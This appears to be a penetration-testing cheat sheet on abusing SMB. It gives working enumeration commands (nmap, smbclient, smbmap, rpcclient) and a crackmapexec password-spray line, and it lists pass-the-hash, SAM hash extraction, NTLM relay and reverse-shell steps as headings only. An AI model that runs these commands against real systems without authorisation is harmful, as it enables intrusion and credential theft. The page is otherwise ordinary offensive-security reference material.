githubEdit

abuse

Linux

Enumeration

sudo nmap 10.128.14.129 -sVC -p139,445

Anonymous login check

smbclient -N -L //10.10.10.10

Smbmap (it can use ccache file for authentication)

smbmap  -H 10.10.10.10 -r notes
smbmap -H 10.10.10.10 --download "notes\note.txt
smbmap -H 10.10.10.10 --upload "notes\test.txt

RPCClient

rpcclient -U '%' 10.10.10.10
enumdomusers

Enum4linux-ng

Brute-force and password spray attack

crackmapexec smb "$ip" -u /tmp/userlist.txt -p 'Company01!' --local-auth

Tools

  • Psexec (execute commands on system)

  • Wmiexec (without using remcomsvc)

  • atexec (executes command through task scheduler service)

  • Crackmapexec (implementation of smbexec and atexec)

  • Enumerate logon users

  • Extract hash from SAM

  • Pass-the-hash attack

  • Metasploit psexec

Forced authentication attacks

It is also possible to abuse the SMB protocol by creating a fake SMB server to capture user NetNTLM

If we are unable to crack the hash, we can relay the captured hash to another machine using ntlmrelayx & multirelay.py

Set SMB off in config

Start the relay attack

Create a reverse shell


Windows

Remote dir listening (CMD)

Net use

Total files

Specific file print

Search a word withing file

Remote dir listening (powershell)

List of files

Net use alternative

PS-Credential object

Find specific item

Last updated